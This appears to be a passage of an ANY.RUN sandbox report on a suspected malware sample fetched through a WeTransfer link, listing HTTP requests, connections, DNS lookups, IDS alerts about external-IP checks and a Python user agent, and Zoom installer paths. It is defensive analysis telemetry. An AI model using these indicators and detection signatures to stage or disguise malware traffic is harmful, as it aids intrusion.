http://r5---sn-aigl6n76.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjY5QUFXTEQwc2RPVXhRY3picjhxblh1dw/7619.603.0.2_pkedcjkdefgpdelpbcmbmeomcjbeemfm.crx?cms_redirect=yes&mh=Qx&mip=185.217.117.39&mm=28&mn=sn-aigl6n76&ms=nvh&mt=1590805451&mv=m&mvi=4&pl=25&shardbypass=yes
US
crx
816 Kb
whitelisted
2436
chrome.exe
GET
302
172.217.23.174:80
http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjY5QUFXTEQwc2RPVXhRY3picjhxblh1dw/7619.603.0.2_pkedcjkdefgpdelpbcmbmeomcjbeemfm.crx
US
html
525 b
whitelisted
1992
Installer.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAUQxrL%2FercceG71ciObEkM%3D
US
der
471 b
whitelisted
1060
svchost.exe
GET
200
8.248.117.254:80
http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
US
compressed
57.0 Kb
whitelisted
1992
Installer.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSFDxAmS5JEAmWxO0Ue9OdQ9z7zPAQUFQASKxOYspkH7R7for5XDStnAs0CEAMBmgI6%2F1ixa9bV6uYX8GY%3D
US
der
471 b
whitelisted
2436
chrome.exe
GET
302
172.217.23.174:80
http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvOTRmQUFXVHlhaGJaUTdMLWtCSkNJUl9ZQQ/1.0.0.5_nmmhkkegccagdldgiimedpiccmgmieda.crx
US
html
520 b
whitelisted
1992
Installer.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D
US
der
471 b
whitelisted
1992
Installer.exe
GET
200
93.184.220.29:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAb9%2BQOWA63qAArrPye7uhs%3D
US
der
471 b
whitelisted
3728
python.exe
GET
200
216.239.32.21:80
http://myexternalip.com/raw
US
text
14 b
shared
2436
chrome.exe
GET
200
74.125.4.216:80
http://r2---sn-aigzrney.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvOTRmQUFXVHlhaGJaUTdMLWtCSkNJUl9ZQQ/1.0.0.5_nmmhkkegccagdldgiimedpiccmgmieda.crx?cms_redirect=yes&mh=QJ&mip=185.217.117.39&mm=28&mn=sn-aigzrney&ms=nvh&mt=1590805398&mv=m&mvi=1&pl=25&shardbypass=yes
US
crx
293 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2436
chrome.exe
172.217.18.163:443
clientservices.googleapis.com
Google Inc.
US
whitelisted
2436
chrome.exe
54.76.5.44:443
wetransfer.com
Amazon.com, Inc.
IE
unknown
2436
chrome.exe
143.204.201.32:443
prod-cdn.wetransfer.net
—
US
suspicious
2436
chrome.exe
18.203.189.72:443
wtplus.wetransfer.com
—
US
unknown
2436
chrome.exe
13.35.254.95:443
backgrounds.wetransfer.net
—
US
suspicious
2436
chrome.exe
52.218.84.145:443
wetransferbackgrounds-eu.s3.amazonaws.com
Amazon.com, Inc.
IE
unknown
2436
chrome.exe
13.35.254.86:443
assets.wetransfer.net
—
US
malicious
2436
chrome.exe
13.35.253.106:443
d19ptbnuzhibkh.cloudfront.net
—
US
suspicious
2436
chrome.exe
172.217.22.8:443
www.googletagmanager.com
Google Inc.
US
whitelisted
2436
chrome.exe
172.217.18.4:443
www.google.com
Google Inc.
US
whitelisted

DNS requests

Domain
IP
Reputation
wetransfer.com
  • 54.76.5.44
  • 34.240.21.9
  • 52.17.149.98
shared
clientservices.googleapis.com
  • 172.217.18.163
whitelisted
accounts.google.com
  • 216.58.212.141
shared
prod-cdn.wetransfer.net
  • 143.204.201.32
  • 143.204.201.29
  • 143.204.201.67
  • 143.204.201.39
whitelisted
wtplus.wetransfer.com
  • 18.203.189.72
  • 34.249.238.110
shared
backgrounds.wetransfer.net
  • 13.35.254.95
  • 13.35.254.93
  • 13.35.254.101
  • 13.35.254.10
whitelisted
e-10220.adzerk.net
  • 107.22.209.192
  • 23.21.191.38
  • 107.22.194.221
  • 54.204.18.46
  • 54.225.139.53
  • 23.21.55.35
  • 54.225.183.184
  • 54.225.222.84
whitelisted
assets.wetransfer.net
  • 13.35.254.86
  • 13.35.254.44
  • 13.35.254.105
  • 13.35.254.82
whitelisted
wetransferbackgrounds-eu.s3.amazonaws.com
  • 52.218.84.145
shared
d19ptbnuzhibkh.cloudfront.net
  • 13.35.253.106
  • 13.35.253.90
  • 13.35.253.201
  • 13.35.253.48
whitelisted

Threats

PID
Process
Class
Message
1060
svchost.exe
Potentially Bad Traffic
ET POLICY DNS Query to DynDNS Domain *.ddns .net
1060
svchost.exe
Potentially Bad Traffic
ET POLICY DNS Query to DynDNS Domain *.ddns .net
1060
svchost.exe
Potentially Bad Traffic
ET POLICY DNS Query to DynDNS Domain *.ddns .net
3728
python.exe
Potential Corporate Privacy Violation
ET POLICY External IP Check myexternalip.com
3728
python.exe
Attempted Information Leak
ET POLICY Python-urllib/ Suspicious User Agent
1060
svchost.exe
Not Suspicious Traffic
ET INFO Observed Free Hosting Domain (*.000webhostapp .com in DNS Lookup)
3320
python.exe
Not Suspicious Traffic
ET INFO Observed SSL Cert for Free Hosting Domain (*.000webhostapp .com)
908
python.exe
Not Suspicious Traffic
ET INFO Observed SSL Cert for Free Hosting Domain (*.000webhostapp .com)
2488
python.exe
Potential Corporate Privacy Violation
ET POLICY External IP Check myexternalip.com
2488
python.exe
Attempted Information Leak
ET POLICY Python-urllib/ Suspicious User Agent
Process
Message
Installer.exe
Installer.exe
C:\Users\admin\AppData\Roaming\Zoom\zoom_install_src
Installer.exe
C:\Users\admin\AppData\Roaming\Zoom\zoom_install_sr~
Installer.exe
Installer.exe
C:\Users\admin\AppData\Roaming\Zoom\uninstall
Installer.exe
[ProductPathHelper::RecursiveRemoveDirA] Path is:
Installer.exe
[ProductPathHelper::RecursiveRemoveDirA] Path is:
Installer.exe
C:\Users\admin\AppData\Roaming\Zoom\bin
Installer.exe
Installer.exe
C:\Users\admin\AppData\Roaming\Zoom\zoom_install_src\
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
https://wetransfer.com/downloads/876b976cdfd2bcfa38d8d5317d9db7a820200526160921/7f559d